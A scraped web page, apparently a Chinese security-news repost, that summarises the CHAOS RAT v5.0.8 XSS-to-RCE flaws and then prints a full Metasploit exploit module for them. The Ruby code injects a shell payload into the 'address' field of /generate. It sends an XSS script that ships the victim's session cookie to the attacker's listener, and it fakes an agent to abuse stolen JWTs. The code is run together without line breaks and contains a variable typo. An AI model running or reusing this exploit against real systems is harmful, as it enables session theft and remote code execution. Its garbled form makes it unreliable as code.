index_new5.html
../../../zaker_core/zaker_tpl_static/wap/tpl_guoji1.html
![]()
该模块利用了CHAOS RAT v5.0.8版本中的XSS和RCE漏洞。CHAOS是一款开源的远程管理工具,它允许用户生成二进制文件来控制远程操作系统。该漏洞允许攻击者通过身份验证的用户生成恶意可执行文件,并利用返回的命令执行结果中的XSS漏洞来执行任意代码。该漏洞可以通过三种方式触发:使用提供的凭据直接执行RCE;提供代理的JWT令牌来模拟被攻击的主机,如果已登录用户尝试在主机上执行命令,则返回的值将包含XSS有效负载;提供代理可执行文件并提取JWT令牌。该漏洞已在运行在Docker容器中的CHAOS 7d5b20ad7e58e5b525abdcb3a12514b88e87cef2版本中得到验证。
😈 该漏洞利用了CHAOS RAT v5.0.8版本中的XSS和RCE漏洞,允许攻击者通过身份验证的用户生成恶意可执行文件,并利用返回的命令执行结果中的XSS漏洞来执行任意代码。
😈 攻击者可以通过三种方式触发该漏洞:使用提供的凭据直接执行RCE;提供代理的JWT令牌来模拟被攻击的主机,如果已登录用户尝试在主机上执行命令,则返回的值将包含XSS有效负载;提供代理可执行文件并提取JWT令牌。
😈 该漏洞已在运行在Docker容器中的CHAOS 7d5b20ad7e58e5b525abdcb3a12514b88e87cef2版本中得到验证。
😈 该模块包含了用于利用该漏洞的Metasploit代码,可以用来攻击运行CHAOS RAT v5.0.8版本的系统。
😈 该模块还包含了用于生成恶意可执行文件和提取JWT令牌的代码,可以用来攻击运行CHAOS RAT v5.0.8版本的系统。
This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::RemoteRank = ExcellentRankingprepend Msf::Exploit::Remote::AutoCheckinclude Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::Remote::HttpServer::HTMLinclude Rex::Proto::Http::WebSocketdef initialize(info = {})super(update_info(info,'Name' => 'Chaos RAT XSS to RCE','Description' => %q{CHAOS v5.0.8 is a free and open-source Remote Administration Tool thatallows generated binaries to control remote operating systems. Thewebapp contains a remote command execution vulnerability whichcan be triggered by an authenticated user when generating a newexecutable. The webapp also contains an XSS vulnerability withinthe view of a returned command being executed on an agent.Execution can happen through one of three routes:1. Provided credentials can be used to execute the RCE directly2. A JWT token from an agent can be provided to emulate a compromisedhost. If a logged in user attempts to execute a command on the hostthe returned value contains an xss payload.3. Similar to technique 2, an agent executable can be provided and theJWT token can be extracted.Verified against CHAOS 7d5b20ad7e58e5b525abdcb3a12514b88e87cef2 runningin a docker container.},'License' => MSF_LICENSE,'Author' => ['h00die', # msf module'chebuya' # original PoC, analysis],'References' => [[ 'URL', 'https://github.com/chebuya/CVE-2024-30850-chaos-rat-rce-poc'],[ 'URL', 'https://github.com/tiagorlampert/CHAOS'],[ 'CVE', '2024-31839'], # XSS[ 'CVE', '2024-30850'] # RCE],'Platform' => ['linux', 'unix'],'Privileged' => false,'Payload' => { 'BadChars' => ' ' },'Arch' => ARCH_CMD,'Targets' => [[ 'Automatic Target', {}]],'DefaultOptions' => {'WfsDelay' => 3_600, # 1hr'URIPATH' => '/' # avoid long URLs in xss payloads},'DisclosureDate' => '2024-04-10','DefaultTarget' => 0,'Notes' => {'Stability' => [CRASH_SAFE],'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],'SideEffects' => [ARTIFACTS_ON_DISK]}))register_options([Opt::RPORT(8080),OptString.new('USERNAME', [ false, 'User to login with']), # adminOptString.new('PASSWORD', [ false, 'Password to login with']), # adminOptString.new('TARGETURI', [ true, 'The URI of the Chaos Application', '/']),OptString.new('JWT', [ false, 'Agent JWT Token of the malware']),OptPath.new('AGENT', [ false, 'A Chaos Agent Binary'])])register_advanced_options([OptString.new('AGENT_HOSTNAME', [ false, 'Hostname for a fake agent', 'DC01']),OptString.new('AGENT_USERNAME', [ false, 'Username for a fake agent', 'Administrator']),OptString.new('AGENT_USERID', [ false, 'User ID for a fake agent', 'Administrator']),OptEnum.new('AGENT_OS', [ false, 'OS for a fake agent', 'Windows', ['Windows', 'Linux']]),])enddef on_request_uri(cli, request)if request.method == 'GET' && @xss_response_received == falsevprint_status('Received GET request.')return unless request.uri.include? '='cookie = request.uri.split('jwt=')[1]print_good("Received cookie: #{cookie}")send_response_html(cli, '')@xss_response_received = truelist_agents(cookie)rce(cookie)endsend_response_html(cli, '')enddef mac_address@mac_address ||= Faker::Internet.mac_address@mac_addressenddef checkres = send_request_cgi('uri' => normalize_uri(target_uri.path),'method' => 'GET')return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?return CheckCode::Safe("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code == 200return CheckCode::Detected('Chaos application found') if res.body.include?('<title>CHAOS</title>')CheckCode::Safe('Chaos application not found')enddef loginvprint_status('Attempting login')res = send_request_cgi('method' => 'POST','uri' => normalize_uri(target_uri.path, 'auth'),'vars_post' => {'username' => datastore['USERNAME'],'password' => datastore['PASSWORD']})fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 200res.getcookies.scan(/jwt=([\w.-]+);/).flatten[0] || ''enddef rce(cookie)data = Rex::MIME::Message.newdata.add_part("http://localhost\'$(#{payload.encoded})\'", nil, nil, 'form-data; name="address"')data.add_part('8080', nil, nil, 'form-data; name="port"')data.add_part('1', nil, nil, 'form-data; name="os_target"') # 1 windows, 2 linuxdata.add_part('', nil, nil, 'form-data; name="filename"')data.add_part('false', nil, nil, 'form-data; name="run_hidden"')post_data = data.to_sres = send_request_cgi('method' => 'POST','uri' => normalize_uri(target_uri.path, 'generate'),'ctype' => "multipart/form-data; boundary=#{data.bound}",'data' => post_data,'cookie' => "jwt=#{cookie}")fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?fail_with(Failure::UnexpectedReply, "#{peer} - Shellcode rejected: #{res.body}") unless res.code == 200enddef convert_to_int_array(string)string.bytes.to_aend# Retrieve the server's response and pull out the command response. The return value is# the server's response value (or 1 on failure).def recv_wsframe_status(wsock)res = wsock.get_wsframereturn 1 unless resbeginres_json = JSON.parse(res.payload_data)rescue JSON::ParserErrorfail_with(Failure::UnexpectedReply, 'Failed to parse the returned JSON response.')endcommand = res_json['command']return 1 if command.nil?commandenddef agent_command_handler(cookie)vprint_status('WebSocket connecting to receive commands')headers = {'Cookie' => "jwt=#{cookie}",'X-Client' => mac_address}wsock = connect_ws('uri' => normalize_uri(target_uri.path, 'client'),'headers' => headers)start_time = Time.now.to_icommand = 1while Time.now.to_i < start_time + datastore['WfsDelay']beginTimeout.timeout(datastore['WfsDelay']) docommand = recv_wsframe_status(wsock)endrescue Timeout::Errorcommand = 1endnext if command == 1vprint_good("Received agent command '#{command}', sending XSS in return")data = {'client_id' => mac_address,# removed the rickroll from the PoC :('response' => convert_to_int_array("</pre><script>var i = new Image;i.src='http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/'+document.cookie;</script>"),'has_error' => false}wsock.put_wsbinary(JSON.generate(data))endprint_status('Stopping WebSocket connection')enddef agent_callback_checkin(cookie)start_time = Time.now.to_iwhile Time.now.to_i < start_time + datastore['WfsDelay']print_status('Performing Callback Checkin')res = send_request_cgi('method' => 'GET','uri' => normalize_uri(target_uri.path, 'health'),'cookie' => "jwt=#{cookie}")fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?fail_with(Failure::UnexpectedReply, "#{peer} - Checkin rejected: #{res.code}") unless res.code == 200body = {hostname: datastore['AGENT_HOSTNAME'],username: datastore['AGENT_USERNAME'],user_id: datastore['AGENT_USERID'],os_name: datastore['AGENT_OS'],os_arch: 'amd64',mac_address: mac_address,local_ip_address: datastore['SRVHOST'],port: datastore['SRVPORT'].to_s,fetched_unix: Time.now.to_i}res = send_request_cgi('method' => 'POST','uri' => normalize_uri(target_uri.path, 'device'),'cookie' => "jwt=#{cookie}",'data' => body.to_json)fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?fail_with(Failure::UnexpectedReply, "#{peer} - Checkin rejected: #{res.code}") unless res.code == 200Rex.sleep(30)endprint_status('Stopping Callback Checkin')enddef fake_agent(server_cookie)# start callback checkins and command handler@threads = []@threads << framework.threads.spawn('CHAOS-agent-callback', false) doagent_callback_checkin(server_cookie)end@threads << framework.threads.spawn('CHAOS-agent-command-handler', false) doagent_command_handler(server_cookie)end@threads.map do |t|t.joinrescue StandardError => eprint_error("Error in CHAOS Rat Threads: #{e}")endend## Handle the HTTP request and return a response. Code borrowed from:# msf/core/exploit/http/server.rb#def start_http_service(opts = {})# Start a new HTTP server@http_service = Rex::ServiceManager.start(Rex::Proto::Http::Server,(opts['ServerPort'] || bindport).to_i,opts['ServerHost'] || bindhost,datastore['SSL'],{'Msf' => framework,'MsfExploit' => self},opts['Comm'] || _determine_server_comm(opts['ServerHost'] || bindhost),datastore['SSLCert'],datastore['SSLCompression'],datastore['SSLCipher'],datastore['SSLVersion'])@http_service.server_name = datastore['HTTP::server_name']# Default the procedure of the URI to on_request_uri if one isn't# provided.uopts = {'Proc' => method(:on_request_uri),'Path' => resource_uri}.update(opts['Uri'] || {})proto = (datastore['SSL'] ? 'https' : 'http')netloc = opts['ServerHost'] || bindhosthttp_srvport = (opts['ServerPort'] || bindport).to_iif (proto == 'http' && http_srvport != 80) || (proto == 'https' && http_srvport != 443)if Rex::Socket.is_ipv6?(netloc)netloc = "[#{netloc}]:#{http_srvport}"elsenetloc = "#{netloc}:#{http_srvport}"endendprint_status("Listening for XSS response on: #{proto}://#{netloc}#{uopts['Path']}")# Add path to resource@service_path = uopts['Path']@http_service.add_resource(uopts['Path'], uopts)enddef list_agents(cookie)res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'devices'),'headers' => {'cookie' => "jwt=#{cookie}"})fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?soup = Nokogiri::HTML(res.body)rows = soup.css('tr')agent_table = Rex::Text::Table.new('Header' => 'Live Agents','Indent' => 1,'Columns' =>['IP','OS','Username','Hostname','MAC'])rows.each do |row|cells = row.css('td')next if cells.length != 7agent_ip = cells[4].text.striphostname = cells[1].text.stripagent_table << [agent_ip, cells[3].text.strip, cells[2].text.strip, hostname, cells[5].text.strip]report_host(host: agent_ip, name: hostname, os_name: cells[3].text.strip, info: "CHAOS C2 Agent Deployed, callback: #{datastore['RHOST']}")endprint_good('Detected Agents')print_line(agent_table.to_s)enddef exploitunless (datastore['USERNAME'] && datastore['PASSWORD']) ||datastore['JWT'] ||datastore['AGENT']fail_with(Failure::BadConfig, 'Username and password, or JWT, or AGENT path required')endfail_with(Failure::BadConfig, 'SRVHOST can not be 0.0.0.0, must be a valid IP address') if Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0@xss_response_received = falseif datastore['USERNAME'] && datastore['PASSWORD']print_status('Attempting exploitation through direct login')cookie = loginrce(cookie)elsif datastore['JWT']print_status('Attempting exploitation through JWT token')vprint_status("Fake MAC for agent: #{mac_address}")start_http_servicefake_agent(datastore['JWT'])elsif datastore['AGENT']print_status('Attempting exploitation through Agent')fail_with(Failure::BadConfig, 'AGENT file not found') unless File.file?(datastore['AGENT'])agent_exe = File.read(datastore['AGENT'])if agent_exe =~ /main.ServerAddress=(((25[0-5]|(2[0-4]|1\d|[1-9]|)\d).?\b){4})/server_address = ::Regexp.last_match(1)vprint_status("Server address: #{server_address}")endif agent_exe =~ /main.Port=(\d{1,6})/server_port = ::Regexp.last_match(1)vprint_status("Server port: #{server_port}")endif agentexe =~ %r{main.Token=([a-zA-Z0-9.-+/=].[a-zA-Z0-9.-+/=]*.[a-zA-Z0-9.-+/=]*)}server_cookie = ::Regexp.last_match(1)vprint_status("Server JWT Token: #{server_cookie}")endfail_with(Failure::BadConfig, 'JWT token not found in agent executable') unless server_cookievprint_status("Fake MAC for agent: #{mac_address}")start_http_servicefake_agent(server_cookie)endenddef cleanup# Clean and stop HTTP serverif @http_servicebegin@http_service.remove_resource(datastore['URIPATH'])@http_service.deref@http_service.stop@http_service = nilrescue StandardError => eprint_error("Failed to stop http server due to #{e}")endend@threads.each(&:kill) unless @threads.nil? # no need for these anymoresuperendend